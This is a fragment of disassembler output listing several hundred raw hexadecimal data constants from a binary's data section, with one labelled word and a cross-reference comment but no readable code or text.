		dd 0A47A14BAh, 5F662B03h, 8611E102h, 9F48FFBDh,	0C0AB8556h
		dd 402C7E13h, 44AF7E24h, 317A0A1h, 2F74B03Eh, 62872126h
		dd 0E8B0C5D5h, 58EEE046h, 572E855Eh, 50FD846h, 624DB04Ah
		dd 6E1CD7F7h, 954B259Fh, 2DD004B4h, 0B22C5E8Ch,	10201783h
		dd 17AD6D40h, 210F98BEh, 49A15BDDh, 0FCA3617h, 80C79231h
		dd 8BE9708Fh, 0E18847D7h, 8894D2D4h, 0AB94750Dh, 8A5DE341h
		dd 8A7F662Ch, 94AAD7E7h, 1D853E22h, 93F4B530h, 103E3116h
		dd 9705959Bh, 8E370897h, 90632C65h, 0F65A0CCh, 182C2399h
		dd 0CA1505E8h, 0C98A8043h, 207DC53Ah, 22818720h, 0ECC74263h
		dd 662EE0E4h, 0D251CFB7h, 48DE9310h, 5CB6A1F2h,	0B51C392Ch
		dd 67D978BAh, 0F29E2A33h, 0AAFB8C11h, 74500053h, 296BD4B1h
		dd 0D2C1702h, 8AEAC125h, 7A949A4Fh, 1CA0CBE3h, 82878090h
		dd 43E84BB2h, 3489A32Bh, 4002A11Bh, 959A4318h, 3DC68384h
		dd 0A012731Eh, 0C5D763B0h, 39F20248h, 9554F2C0h, 0A3F895F1h
		dd 0A000AD53h, 0C008A992h, 9249634Bh, 0AF8B6268h, 0AE9BA7FFh
		dd 666BF44Ch, 42E92893h, 4AAB02A4h, 84822307h, 0A372B9B8h
		dd 7C75655Dh, 89D6EB0Eh, 11ABB1B2h, 681167C0h, 0DD40313Eh
		dd 5318386Ah, 22E6E582h, 0BA4FA614h, 0F33C2C94h, 0E0C02711h
		dd 16F779Ah, 0F981F81Eh, 0F1B5B4ACh, 8411ACC7h,	4A84F975h
		dd 5557BCF9h, 9570FB21h, 0CE8CD165h, 719DC31Ch,	997EE07Dh
		dd 6511546Ah, 9D9610CFh, 7BF25842h, 6A8D2475h, 0D8995211h
		dd 65C7B666h, 4902AAC7h, 860A79BEh, 0C2E7C50Dh,	2A37A9DFh
		dd 0E71A1AC0h, 8568D316h, 0D3198D05h, 97AF4249h, 7DAD0D83h
		dd 4612C58Dh, 623E217Eh, 715FCCA5h, 9B9E2C6h, 90326B3Dh
		dd 6D10DB5Bh, 9B6C9863h, 0E3924DC2h, 7C312586h,	7E52E7CEh
		dd 0DFD13954h, 8907FB52h, 0D6B004D5h, 66261F71h, 53006C40h
		dd 6E710EAAh, 8128FF70h, 4318C05h, 3F634214h, 1F7F70F5h
		dd 710903C1h, 767A23E1h, 2B65DF3h, 348B0D8Bh, 0EC0D7F06h
		dd 0A6D8F518h, 17EE52E9h, 3BDFAA69h, 629A5A97h,	5A34610Bh
		dd 3439982Ch, 3E17959h,	2610EBF1h, 8A41B85Eh, 17071838h
		dd 3BFFCA3Dh, 4D28C32Dh, 0E4F35F37h, 0C6CD8C76h, 69B8B1FFh
		dd 20240ADDh, 660B5EDBh, 563D1302h, 9C3A6AFBh, 42136C44h
		dd 2CD143C1h, 233AFA8Bh, 619D25DDh, 0F11B2F57h,	0CCE8A18Bh
		dd 14E6267h, 21EFA41Bh,	42807234h, 0B548E772h, 4A1EB610h
		dd 3BE00C1h, 0EC5C0FF7h, 4E1266FFh, 19BEB06Eh, 9A8966A9h
		dd 0CCA6288Eh, 0A50956A1h, 0A4211582h, 0A5B73988h, 1940234Fh
		dd 5A1F2A84h, 3F997F06h, 0E985C1h, 0EF0B623Ah, 22E6FC50h
		dd 10FED0C2h, 871A85EEh, 0CC810845h, 0DC8A6EECh, 0AA768F7Ch
		dd 0FFD52D5Ah, 0BB5ED710h, 5B1300C2h, 0F13C1098h, 89DA24CEh
		dd 1B480995h, 0D580B9ABh, 8420203Ch, 0A182DFDAh, 7F053755h
		dd 7C34898Fh, 0C0F1F464h, 28362B10h, 1BF58406h,	4986979Ah
		dd 30DAE85Dh, 45DA311Ch, 6101C245h, 0BEFED5FFh,	557DABA0h
		dd 524E22B9h, 0A800821Ah, 0AB04831Ch, 62608460h, 1E6BADC2h
		dd 0E21AD0E0h, 2A7C5199h, 0C02CD891h, 43687D05h, 0C40A3C6Ah
		dd 9A12FE3Eh, 33EA72A6h, 0E131F592h, 91FF2BA8h,	0D23B4605h
		dd 0FD8F8236h, 0C29D4F48h, 885D1B88h, 0A6C0113Bh, 7CF8216Ah
		dd 0EF8FC06Bh, 7796D596h, 49C8340Eh, 0B0DA06E6h, 9E82E056h
		dd 771C87F0h, 70226229h, 0A703486Ah, 0A03075C5h, 8DC2FA1Dh
		dd 0F68CF8A5h, 5BF5D717h, 0B7EDFC57h, 514B818Ch, 0C099D62Eh
		dd 19DEEC24h, 0F22857A8h, 989E8113h, 2C0DD591h,	4FBC5DA5h
		dd 33F00BFAh, 59690758h, 63F63253h, 7238EB45h, 7F4BBD0h
		dd 0D13C76D1h, 9811FC92h, 0EA3C6159h, 73842AEAh, 536D0C0Fh
		dd 5275537Eh, 0E0481C63h, 1676FB60h, 2389B444h,	0CD48460Ah
		dd 0FD72DE27h, 60289657h, 0C185674Fh, 58F718EAh, 0FE8D3657h
		dd 0C5BC6347h, 0B11658B1h, 5EAF5671h, 0EF15B399h, 3818E547h
		dd 21995B05h, 4C8E9A0Ch, 677DE15Ch, 103539A5h, 3D143D71h
		dd 4D5C68BCh, 0A300650h, 6CB0EF10h, 0EB227615h,	0D72780B9h
		dd 0D62BA3F2h, 0A3F63CA9h, 2A3F88FAh, 0A21D1986h, 21BE098Ah
		dd 52978202h, 0A8A31E85h, 7583AAD6h, 49EB8CD9h,	0F8D7AA0Fh
		dd 0D4D1834Eh, 0A6F8D5C7h, 0CD648353h, 0E72EDE2Ch, 8413FAA4h
		dd 956C3774h, 197A2AD8h, 8D288D18h, 4096116Ah, 5C555B33h
		dd 6629A12Ch, 80A052AEh, 9A3D0E04h, 0CCE8DA2Bh,	0B7087C55h
		dd 0C745DC03h, 0C01C9FC9h, 114B9BF1h, 335F828h,	189293BDh
		dd 7F30934h, 866F0A16h,	0C35B18BFh, 980952BDh, 0D6F844B4h
		dd 90F9EDB1h, 2EFC682Ah, 5EC0E38Bh, 5D9C5F20h, 12B3ABA7h
		dd 85432C39h, 46EF2D91h, 2A8D83FEh, 6CC39B5h, 9102B958h
		dd 0B42E6D35h, 0B97DCAB4h, 6431C3D0h, 31EC4B10h, 6809F73Ch
		dd 690D811Fh, 1B48A18Fh, 42BC0653h, 75E36BEDh, 0D184F967h
		dd 8F7BF68Fh, 8B8CBA4h,	0F2BBDD7Bh, 0C4577759h,	8A925820h
		dd 0BC28AACAh, 11473AF7h
		dd 83953EB4h, 4A6AE88Eh, 0CF825951h, 0B5A9A12h,	8D1F62F1h
		dd 0A897A055h, 8D92C246h, 305D3491h, 0C8A83825h, 50600B1Ah
		dd 6E79A3Dh, 0C813D064h, 0E6BB5254h, 4D542894h,	24C11854h
		dd 12053753h, 0C8C26821h, 780544D5h, 637B6040h,	0B3C572E9h
		dd 541F1931h, 95E1CA9Ch, 8ABA74BAh, 0CF5623Bh, 84C317Dh
		dd 0F534C2D5h, 0D67EFB4Ch, 0F0559445h, 15134128h, 68539860h
		dd 29503985h, 0B64C4126h, 9663AB3Fh, 0C7C38AC0h, 0D56E6CBCh
		dd 9BE11D51h, 96E76E55h, 0A14A57EBh, 0E8486A5Fh, 105819F7h
		dd 6658C076h, 7CED0A21h, 0E95804Eh, 4AAA523Ch, 9089ECDBh
		dd 7DC9E461h, 860C282Ch, 9277D417h, 532AE757h, 0C55E2EB8h
		dd 0B544AB24h, 4904E903h, 86422B00h, 94013302h,	441217CFh
		dd 8128C388h, 0CF682684h, 0F9970A0Fh, 5D5BC454h, 0DF2B1B7Eh
		dd 0BF5717D1h, 0ADBD9381h, 0EA3F810Bh, 2B935780h, 21881FDh
		dd 677D9D14h, 2C974245h, 72B6BACh, 3C01FD7h, 323EC52Bh
		dd 0E8727320h, 63E47D7Ah, 535877CDh, 372B1195h,	0B71E04D8h
		dd 16B8F5DFh, 2494215Bh, 73F42116h, 14B3AB0Fh, 59287331h
		dd 1499131Ch, 311A8210h, 262F9C0Ch, 62218C51h, 0E46897BAh
		dd 0C6B95Bh, 0BE71EBE3h, 5E556253h, 3E0C5849h, 8014D61Ah
		dd 3241C590h, 0DC0A28C4h, 0BA4302D1h, 286E40BCh, 5AC20274h
		dd 855EB068h, 20CA7857h, 25621426h, 0B55ADDD0h,	57C70C98h
		dd 1F65D520h, 110E742Fh, 0F05E8A58h, 0B0648161h, 3F1195F2h
		dd 1629FFFDh, 0C728FE96h, 0D03BB0BAh, 1B04C7BFh, 7025EC47h
		dd 38E03866h, 5BE790E0h, 0C9CB1B04h, 29ADC98Bh,	15F8C183h
		dd 1013F04Bh, 34805641h, 723F7369h, 91486CC1h, 2A0F590Ah
		dd 4BCE9F8h, 4053F83Fh,	0C0716FB1h, 1020AF11h, 0BF155ADh
		dd 130B202Ch, 0F9DD5F7Ch, 7157F6BEh, 0ABE37E94h, 0F1746A34h
		dd 0D3DD6F1Fh, 8CEFACAEh, 99625F80h, 0AB20EBDh,	0A15D1B9h
		dd 0E55A068Dh, 0D08E3CBh, 956B382Ah, 62F0D2BFh,	0BC4817CEh
		dd 6959C2B2h, 2F49686Eh, 54A7CFE2h, 0D68C90Eh, 151733A1h
		dd 0A0B2E6FEh, 890A1639h, 7E28744Bh, 0ADBB080h,	540E13BEh
		dd 98D6508h, 0AB5589E6h, 1570A3E7h, 2558E37Bh, 0C05F3068h
		dd 99A42A01h, 6A952618h, 0D7950590h, 19CF75FAh,	54554D85h
		dd 1926950Ch, 513ECF5h,	0D69E486Dh, 0D451F298h,	0BEC22BC8h
		dd 3E77929Ch, 0CD482B78h, 1034FF32h, 15CBA9F2h,	31B198CFh
		dd 686DB686h, 0CD2B3ACEh, 0EB2B92E3h, 2247ED1Dh, 37605767h
		dd 621CE5Dh, 1C1D113Dh,	0E5AC916Ch, 0A70BC4FAh,	0C7759F8Ch
		dd 987DE70h, 2AD75EEh, 9684D2D5h, 3E6397FBh, 0FDF25678h
		dd 145053BEh, 51041EC6h, 0AB1EE2D7h, 84608828h,	0B296B0CDh
		dd 5FF0D534h, 0CBB05BD3h, 857552B7h, 1FB777D1h,	8DF620FAh
		dd 0B004A442h, 10FC5A30h, 9C25E0Fh, 607F1976h, 3E3F020h
		dd 902F3CE3h, 3F0755E5h, 7C0EB2Fh, 0B80FAFC7h, 0AADD091Fh
		dd 4E7D00FBh, 651FE8A5h, 1677267Fh, 0C3F88BA3h,	404B9478h
		dd 5FF25E5Fh, 74BD8556h, 0E3A72389h, 0B7DD8AEDh, 0BB0BA3FDh
		dd 822B6194h, 77E0BC21h, 3435A163h, 18E6B520h, 0F844518Eh
		dd 0EB052574h, 0E9EBEFB2h, 0FB172307h, 0AF869E4Eh, 0E7A3F9FCh
		dd 0BE68EE0Fh, 0E10BE852h, 0B98B35FDh, 8645608h, 6D83096Ah
		dd 0AAAC3280h, 61F2C498h, 0E3F7E81Fh, 0A6C91CEh, 0C578C943h
		dd 276C1890h, 0DEECDD18h, 0DDDF5DDDh, 0A525C81Ch, 49C09C0Bh
		dd 0F7F007D0h, 0FCC2597Eh, 0EC9A8A81h, 9E014DFBh, 1066C118h
		dd 1C8FC2FFh, 37C95054h, 64C0BF66h, 49DD6D7Ah, 3FFD85FCh
		dd 0D1497E98h, 0D0FC019Eh, 30423865h, 90A0626Eh, 5D608CB7h
		dd 98B44890h, 8982A91Dh, 0AB3D76D6h, 5FE79680h,	8A42EB74h
		dd 4B8AC005h, 0C4953A34h, 428CAC7Ch, 0E57C7E48h, 0CFA6AA9h
		dd 0D23B7A98h, 57A872A5h, 0A33A982Dh, 0B50B08A2h, 52942ABCh
		dd 8DBFCE00h, 0D06962AFh, 0B6774078h, 3F898617h, 2B428E6Ah
		dd 5D20AEAEh, 0F16AB275h, 6813D0FDh, 22210AA9h,	6E640AD6h
		dd 0CCA407Fh, 221F4E0h,	891B6F32h, 4B43417Ch, 0E7069CCDh
		dd 608C6905h, 0F5FF1787h, 4FA6C3D7h, 0FFA13206h, 0C4AA2061h
		dd 0B2C6410Eh, 5F97EAB4h, 6AB25569h, 57624041h,	0A62EC681h
		dd 9370754Eh, 0F0A5B26Dh, 1384ADA3h, 6BF98A3Bh,	0EAA545B1h
		dd 7C1AA524h, 91566C7Ah, 0C3103904h, 0F410EA48h, 407BE417h
		dd 0BF3CBA33h, 0A3805F3Dh, 38581747h, 807B6BC7h, 2578067Fh
		dd 50CCB807h, 2CC60765h, 6DFF1ACBh, 211A2850h, 0AD67FDD2h
		dd 4E274F24h, 0D7AFDC1Fh, 14419DF7h, 3F6F38C3h,	13CA4894h
		dd 1963D95Fh, 26EB4AAFh, 44D519E6h, 9283FCBAh, 78E4B2D1h
		dd 0DAE97246h, 54E7CF6Fh, 57A68C48h, 0A7851224h, 2CC05574h
		dd 0D74BCE81h, 0A4A306Bh, 2F9409C8h, 0BF066266h, 57902B90h
		dd 9F955A2Eh, 597610A5h, 861763C4h, 0DE05F388h,	92BD9CB8h
		dd 0AE3FE07Ch, 0E361AE0Fh, 48810BECh, 0EAF5912Ch, 0F97E6078h
		dd 42742262h, 2694BEFBh, 0A8072F9Eh, 64158842h,	0C34B409h
		dd 79149D03h, 2285AA3Fh, 64D04687h, 8FD95FAAh, 0E103CA24h
		dd 0CBB94A2Bh, 630757Ch, 0A5C716CBh, 968A2CABh,	5E092DCAh
		dd 5A305EF5h, 9D9A8922h, 24062E1h, 0F43E80F3h, 0C099C83Fh
		dd 696034DBh, 3A762058h, 8E5EE8FBh, 0BCA75303h,	18343E28h
		dd 0A5B5E47h, 11605AD5h, 5CDFD343h, 6041DF6h, 0CBB91122h
		dd 0B7D1B74Ch, 0CE6B6362h, 0C4DE1F8Ah, 0C66EB102h, 0E764B625h
		dd 315D7E87h, 4E63548Ch, 0DF44342Fh, 277CAFF6h,	7B33DB4Fh
		dd 0E10B350h, 463CDA48h, 0B28E157Ah, 53742FD2h,	0B2C6C88Bh
		dd 954E2B31h, 0BE4217Eh, 0C95D68B1h, 0CAF0BE67h, 6EAB6FB4h
		dd 0EE8C5D4Dh, 6F753FDCh, 4DCA5001h, 0AF40CE85h, 0D5500B38h
		dd 83F4DE4h, 5D5F29D3h,	183F01F6h, 52F2410Dh, 5CA7D21Eh
		dd 0A1D6BD94h, 0AF9D69CBh, 54E9A762h, 9E258FA9h, 516C1957h
		dd 81739F67h, 0A48007E6h, 1FA58A80h, 0FC01B41Ah, 1ACCE174h
		dd 3E6F59D0h, 0F6130786h, 0F9B2C4A3h, 5595E929h, 9D21F216h
		dd 0A01D69ADh, 6456E178h, 5D832C12h, 22EE0466h,	0D051BF1Ch
		dd 420F731Ch, 0C5CC3BA3h, 0A062C255h, 82C06834h, 23FF4FFDh
		dd 0A6EABDD2h, 822B872Bh, 0DC301987h, 4604B98Eh, 482446C4h
		dd 0E92594D1h, 1BB993DEh, 858B21EEh, 7FCAA227h,	0EB0BF154h
		dd 0BEC45F1Eh, 0C70C149Eh, 0B517A414h, 67ED0E3Ah, 8B47841Ah
		dd 903674C9h, 2D98116Ah, 178E6313h, 93003443h, 1815C21Dh
		dd 0EF6F063Fh, 56FA5CB2h, 3AEC95E2h, 2135B212h,	0F1210FCDh
		dd 92C34166h, 4E6F848h,	600CC1A1h, 13CB410Ch, 5B7EDAF8h
		dd 0EF8834E6h, 25760295h, 294AD1BBh, 0F1B5262Ah, 903EC179h
		dd 846FFDA7h, 0A37A3029h, 0ECE4815h, 62521F00h,	503BF8A5h
		dd 80E8BE08h, 5BD726F0h, 2804DD92h, 3A70C62h, 52802018h
		dd 0A1558969h, 0F7EB0736h, 0EC06B54Fh, 0A2796FCDh, 87F95A9Dh
		dd 7C64245Fh, 0DB02551Bh, 5342549Ch, 0B04C18Eh,	210C0F58h
		dd 117FC49h, 0B4F80592h, 413C0FE0h, 5721075Eh, 98E8632Ch
		dd 4C97C03Eh, 29B626AEh, 935C184h, 5024D3B5h, 0E4623E72h
		dd 3507C0BDh, 5C86CB22h, 41B9FC9Ch, 15CD224Dh, 0F3B0E821h
		dd 0D1834715h, 77A5C0C0h, 69AD92ACh, 4C6259C8h,	0E2315033h
		dd 0AD756391h, 0A0E84ACAh, 43259C48h, 0B6511751h, 2FF3AAB3h
		dd 0E618ABE3h, 0A793ACECh
		dd 3A59BE45h, 28A91087h, 0BBA47328h, 0C3BE3B12h, 0CE6F2275h
		dd 37AF41CCh, 87AEF03Ah, 2C17DE18h, 4BDFB4E3h, 0D03E0CA2h
		dd 0E8C16813h, 0D1244305h, 146A5E7Ch, 0E29669CCh, 0C90F3A03h
		dd 98C4B8C0h, 4BA4DF41h, 96F89991h, 0D11D718Bh,	8B6922C6h
		dd 0FA6325E1h, 3B2C96C8h, 9CBBD512h, 0ADAB49FFh, 0DED761E8h
		dd 1906676Eh, 49DC54BDh, 0CD028D1h, 69B517F0h, 204CC020h
		dd 0F660191Ch, 7312BFA4h, 86F7C943h, 0A3662FB7h, 822080D6h
		dd 1100054Eh, 9DD81E77h, 0C74087B4h, 955C44BAh,	0CC0DA7A8h
		dd 4A8513BAh, 1460DD24h, 0EC0A4FD7h, 0BAE7512Ah, 0F760C130h
		dd 0C524A176h, 0C4D8905h, 8024E6B8h, 8B0F12Ah, 444BE218h
		dd 0A70C9D8h, 0C13BACA0h, 0DD7E0955h, 0DDA204C0h, 0A0944FFh
		dd 0FAE88A96h, 0A55DE090h, 0C8434C0Fh, 0F74A8208h, 0E09616F5h
		dd 98880022h, 0E1810F23h, 15F35587h, 44EA28ACh,	2BFC8818h
		dd 0D0C3C62Eh, 8E53645Ah, 0BE851913h, 5795A393h, 6FFFF63Ch
		dd 38190FC6h, 0C08BCBB3h, 503C7EDh, 0D2BE957Eh,	517B7D8h
		dd 245F9FECh, 5FA1CFB0h, 9549FE48h, 1A040155h, 2080DA33h
		dd 0B49699C4h, 85C33506h, 0BAC3F44Eh, 965B3FCAh, 99DEE67Ch
		dd 0A130228h, 82260BE1h, 3DEF03E8h, 9014700Dh, 687EA4BCh
		dd 2627A215h, 34C15D6h,	0A40CC3F0h, 0EB0B1D94h,	78C3DFC2h
		dd 0AE127FE4h, 448B05D7h, 0B48805F4h, 0A4F8F4F1h, 8FFF0DA7h
		dd 1FC09F46h, 6D50EAFCh, 83D8307Eh, 97387819h, 5FCC49D4h
		dd 9D2C439h, 7755FDD7h,	61CC3062h, 795F8E5Fh, 7CDE4590h
		dd 1FC0A06h, 4C073699h,	20EAFAE1h, 0B759234Fh, 86E94620h
		dd 0EDA2C2AFh, 60208C5h, 53BE830Dh, 41830A42h, 8DF175FAh
		dd 448FF49Dh, 939EBCCh,	0B1028DC5h, 251F0CC2h, 3420D070h
		dd 8E99E81Dh, 0A0622FAEh, 503E2B5Dh, 94281BFCh,	19CB6154h
		dd 0A05F5C30h, 70D418FDh, 443BFEE6h, 5ECAC346h,	5600AAA1h
		dd 418AEA30h, 0B8E9D415h, 0E61B60ADh, 6AAC0CD5h, 0BFAE055Dh
		dd 4474A481h, 731623BAh, 13D8D688h, 4A59E504h, 6BB04614h
		dd 26604AF6h, 0DCBC5146h, 5F811F6h, 0B90548A4h,	38577CB1h
		dd 0E47243CDh, 0F70238E2h, 0F8AA3E35h, 0ACEB11EBh, 0E49C1F44h
		dd 2D542582h, 28E53A61h, 303F78DFh, 0ED384F48h,	1BA29543h
		dd 8A1ABEBAh, 0EC6C92CAh, 0CF619334h, 951531DBh, 0A29457C4h
		dd 281FD8A2h, 0E834F445h, 4AEF5BD7h, 8CAA778Bh,	0F38CBE1Dh
		dd 9D49DE64h, 76C1D57Bh, 0B108D3BEh, 0D0319D98h, 63F14D9Eh
		dd 3488F63Dh, 0D748E764h, 913A5479h, 0E9EB4173h, 9F529DABh
		dd 3EDF3202h, 6151D034h, 0F898F8ACh, 67C01AA0h,	3C0FE4C2h
		dd 0F255ADAEh, 361DCB8Eh, 0E6FC9738h, 1683CAAAh, 88C8E4F1h
		dd 0C1CEAE69h, 0A64A9937h, 47C53FE5h, 0C8BA817Fh, 23D06257h
		dd 82214429h, 0C8E6510Ah, 30386442h, 0EB3D0E19h, 0CB98F950h
		dd 0E7D95B38h, 0B285F567h, 808F2809h, 0F5469D30h, 9EA00D83h
		dd 0C9620F54h, 0EC1F4FA0h, 31278A3h, 0E6ACB745h, 0E0FB5A83h
		dd 0D125A453h, 1857264Ah, 1024CDADh, 15B27177h,	0F6E059E8h
		dd 0EBAAA2ADh, 89AEE02Ah, 0E20A3E89h, 9C6AFA09h, 21EB6A3Dh
		dd 2CA52FFEh, 0F77885E0h, 0AA69C8AEh, 223FDB85h, 60DA9Bh
		dd 58836E2Dh, 0BB642730h, 0A5A9D848h, 835E87FCh, 0A57C8BC3h
		dd 0B55D91F1h, 8AAE3BA4h, 6263C6CCh, 2E785D8Bh,	38EFAB9Fh
		dd 24A47562h, 92802283h, 60134180h, 0E334FE50h,	0BA49601Fh
		dd 405AFC14h, 0C0B48052h, 88DD3084h, 7C3D2901h,	0DC19E24Ah
		dd 0A6777155h, 7645E76Eh, 0A5599E9Ch, 0F1B435Bh, 95BFD837h
		dd 3917748Fh, 9726B2Dh,	2A2BF643h, 6E48CCF1h, 0C021CF78h
		dd 0FC21253h, 0F13881A1h, 4737DB9Fh, 2224BF02h,	0D160258h
		dd 6C15B85Fh, 68089484h, 3C4E0BA4h, 0CC5660C9h,	8AFA8561h
		dd 3148DDFBh, 0BA06C03Ah, 0A2838695h, 0F748863Bh, 6CD16178h
		dd 76E999D8h, 27138D49h, 5A8A08A3h, 0A605F9E2h,	64420316h
		dd 49F1EBCAh, 85FFB40h,	0AA211E6Ah, 5FD7DD79h, 0A03000AEh
		dd 992B0A5Fh, 6D8C0CD5h, 9DF7B9FBh, 19F2E798h, 3953DA4Eh
		dd 738BDA30h, 5D42E5DEh, 3BCBAFE1h, 75580EF8h, 4EB8AD08h
		dd 953F3067h, 0C6D58955h, 51FCAEBAh, 555A5EB9h,	6D39BA1Eh
		dd 73334719h, 0CC422AC0h, 0E99A3832h, 2A6F5580h, 0C8567484h
		dd 4027E9DDh, 0F9705F1Ah, 6EED3E64h, 0C2DBC80Bh, 9F3288A2h
		dd 7C6E7A79h, 0D6F01748h, 12FB8825h, 408BB3E8h,	9FC331F2h
		dd 257C5B9Dh, 0C8B7FEFBh, 2A88BA5Ah, 45E9F02Fh,	0F86EB9B7h
		dd 0D407BEB9h, 7D9344DCh, 0A5A66264h, 0B0179955h, 69EDBAC5h
		dd 2D7D89Ch, 0FE7C76F8h, 778DBAC4h, 5156912h
		db 85h,	21h
word_766672	dw 0AD7Ch		; DATA XREF: .data:off_42CD8Co
		dd 0B5F5DE14h, 696CBEB2h, 1E88465Dh, 0F241699Eh, 5F6442F3h
		dd 7867CFBEh, 34FE81DBh, 0E1EF08D6h, 0F6CB28DDh, 5301A243h
		dd 0E817B7E6h, 38AD2308h, 5104A5D6h, 0B782110Fh, 4DE03A1Fh
		dd 91015177h, 0BAC09237h, 6A5CB096h, 0E12455E3h, 2FA88713h
		dd 0FC5C46A1h, 4D0599E8h, 0A9A00BEAh, 568CA3D8h, 0D42DCB30h
		dd 4432A89h, 22D11DC6h,	9BE33C80h, 3BFD16h, 0E1E4C63Fh
		dd 0FF41A13Ah, 0C1E4D16Fh, 1811DC32h, 304AD0FEh, 856020B5h
		dd 48A857F9h, 0A2801204h, 0C3BA9D2Bh, 43F59EBFh, 14C1963Ah
		dd 7BBE031h, 6BFDFFBCh,	0FF59D778h, 553B0ABCh, 0D5AD55DEh
		dd 0BFD58EBFh, 595D0DA9h, 0C07F1297h, 0AEB2596Fh, 30C8A71Dh
		dd 0E85D27FAh, 9BBECA2Ch, 8FCF9B9Ah, 0B3CE8A22h, 1843C30Fh
		dd 3E51D903h, 7FDACFD3h, 0DB0E11E9h, 0D66980F8h, 2D01E9DEh
		dd 12458336h, 7093A3B1h, 360B2F91h, 6ECFFCDh, 43E449C8h
		dd 0EEDED892h, 0F1A65FA5h, 17A90BB2h, 329D8BAFh, 47CA8D2Bh
		dd 6A81F2AEh, 0B10AF3AEh, 0B28AE40Ch, 35F1F2A8h, 0A6EAACA9h
		dd 3DA77090h, 0C5F1C192h, 22A4A0F2h, 0B2F7B468h, 9033CE2Fh
		dd 402F3028h, 95607468h, 891518BBh, 5B3163E2h, 26044714h
		dd 189CF17Fh, 0DB12EF0Dh, 349FE81Fh, 0E7C36B1Bh, 0A442BA32h
		dd 0F137DF26h, 0EF540BF5h, 0E1750821h, 60B97FA3h, 496021B4h
		dd 9FAAAA0Fh, 0E9E5E7Ch, 9D9423CCh, 21079398h, 63CFFC0Eh
		dd 88857CE0h, 14268593h, 0E4416040h, 0F631FD2Ah, 6B4ADD68h
		dd 894E3376h, 8C4CB3D8h, 4E087CD7h, 8BB54C9Dh, 0AE640190h
		dd 1B7D46AEh, 4954C7CFh, 6F1FF869h, 0DAEDE09h, 55B4C0h
		dd 407AE8F7h, 0D9618F60h, 0F88AE795h, 0B8C1687Eh, 8E47BAD8h
		dd 0B0820A31h, 0BB610BABh, 0CE45442Eh, 0A1DC90AFh, 92F60CCh
		dd 1DB7DB8Eh, 89F41BAh,	0E881B8FDh, 485F037Eh, 86624F09h
		dd 7FD2C5EBh, 0E40F04F8h, 0DF28B98Fh, 0D842D7D3h, 1433D1A1h
		dd 5D2AEED0h, 959800F2h, 578BCFACh, 70A7710Eh, 0AE3B6268h
		dd 2517B51Eh, 470FBCCDh, 2B448A8h, 0B7A06367h, 55B9AB2Dh
		dd 30EA7F2h, 7810622Ch,	0D043E006h, 0F67CEA21h,	5E2C8AEh
		dd 120B7B0Ah, 0C255ADF4h, 0A2FA00Ah, 686A52BCh,	5F9E0121h
		dd 0AF62147Fh, 129FD504h, 3F0FA3EDh, 3F85885Ch,	0E8D07781h
		dd 3F7305B1h, 3005588Eh, 0F83B1BE4h, 84B92737h,	0CE954D62h
		dd 0F2E7D3h, 0DF7FCB69h, 911E0A89h, 4ADD0A5Ah, 49D4ACF3h
		dd 35D021C0h, 0A53CC27Dh, 52F025CCh, 18CED42Bh,	0AF4E8276h
		dd 3DD4AC7h, 3C27AF19h,	1F0B006Bh, 526FAC51h, 12C5E414h
		dd 0F811DAE6h, 49887703h, 4B4B2577h, 16A90A4Bh,	87E31098h
		dd 20622143h, 0A248B130h, 0E2F6A2DFh, 358F58C0h, 0F1FD8D65h
		dd 7E2955B5h, 604611F8h, 4252E661h, 0B291C532h,	0C256098Ah
		dd 4E4D50C2h, 0AB8040C4h, 70476176h, 3F332CAFh,	0AB3596CCh
		dd 9E7098AAh, 0F38552F6h, 87AEEACAh, 38AE8E4Ah,	685D1CAFh
		dd 0DB312AB3h, 0C41523CEh, 358019B9h, 60E72Ah, 3061F5CCh
		dd 992AD622h, 0D90BF3ADh, 0E17A8CEDh, 16A4EB3Bh, 33B82D8h
		dd 0F83B45F4h, 40058A98h, 87158AB2h, 8D111FCDh,	62FAF238h
		dd 0CB244D1Fh, 842911EDh, 490731Ah, 91131A5Ah, 7F0E1554h
		dd 3FC1CAC6h, 1BF1CB0Ch, 5F1BB8EEh, 3318BF5Dh, 82654FFFh
		dd 8CBA94D8h, 0A859119Ch, 0FB556F2h, 0CE30100Ah, 4593D97Fh
		dd 6A41F5D9h, 4FB0C0C6h, 0F19F5883h, 0D99666C3h, 0E9F5266Bh
		dd 66A1C31Fh, 243932F6h, 26D44CBEh, 4F642BFCh, 1A894EB1h
		dd 0AECF2983h, 950BEBE0h, 2E1A4974h, 9B7048DAh,	8A52A442h
		dd 0ACB4F91Fh, 0FE8A092Bh, 0A5D7D833h, 51A3C41Eh, 10AA0BFBh
		dd 1FE08C04h, 9B9C79ACh, 6F80B2AEh, 0C3AB096Dh,	4CFE43E8h
		dd 0EA9FEBh, 0CB22CAF7h, 3486471Fh, 508ADB14h, 0FD8C07FDh
		dd 12A807A5h, 26EB36DFh, 297C818Eh, 853CE461h, 20A90E3Eh
		dd 0DF80A384h, 1D5CE1D7h, 54617E4Eh, 3F97AC2Bh,	2FBD911h
		dd 0DF2068AEh, 85D7BB82h, 0FA527FE3h, 956B4B2Ah, 0EE4A1A21h
		dd 4A156834h, 5685561Bh, 31813485h, 8D2D855Bh, 376EB7E5h
		dd 0D40FC0A8h, 90152FF4h, 3C710F92h, 19158555h,	6F5DF95Ah
		dd 12003B1Fh, 0BA98AA06h, 0C21D51E0h, 66630208h, 3092C425h
		dd 5DD993D6h, 0FA39FD30h, 0A00C1745h, 190E1EB9h, 0A582AA94h
		dd 0DC2AA32Ch, 0A0E467DBh, 4AEE0A12h, 0C449877Ah, 0EC0A7822h
		dd 58085E9Eh, 0A21BA9Dh, 421F1D08h, 0F8F2956Ch,	0D09261D9h
		dd 0E32103D0h, 5F5E7090h, 1E8FCA1Fh, 961BD439h,	14828FB0h
		dd 448AD5B0h, 1D0F4B04h, 9887AB84h, 2216605Fh, 5FC46A6Ch
		dd 0C52B6FB1h, 315ADC60h, 493D302Bh, 44450C28h,	0BD738A14h
		dd 2E024284h, 72144F91h, 0A947320Eh, 5492A4B4h,	7B4839E8h
		dd 0F50CE25h, 8A958F41h, 979410EDh, 0F80C22B5h,	1BE55882h
		dd 1582C579h, 0F1AC601Dh, 4D5C5491h, 6730D85Eh,	0A979B324h
		dd 0A5E8043Ch, 0D80292F3h, 2F5AF494h, 0BDA097A9h, 0FDA15EC4h
		dd 0AEB423EEh, 0BA4EF9Fh, 43815F9Dh, 70401B8Dh,	41C84B7Dh
		dd 0A441956h, 0A08D62BBh, 4168794Dh, 1C8C3B5Ah,	84A9FCh
		dd 84118833h, 23D90E02h, 2B6C7F84h, 756C6AB3h, 0C70585E9h
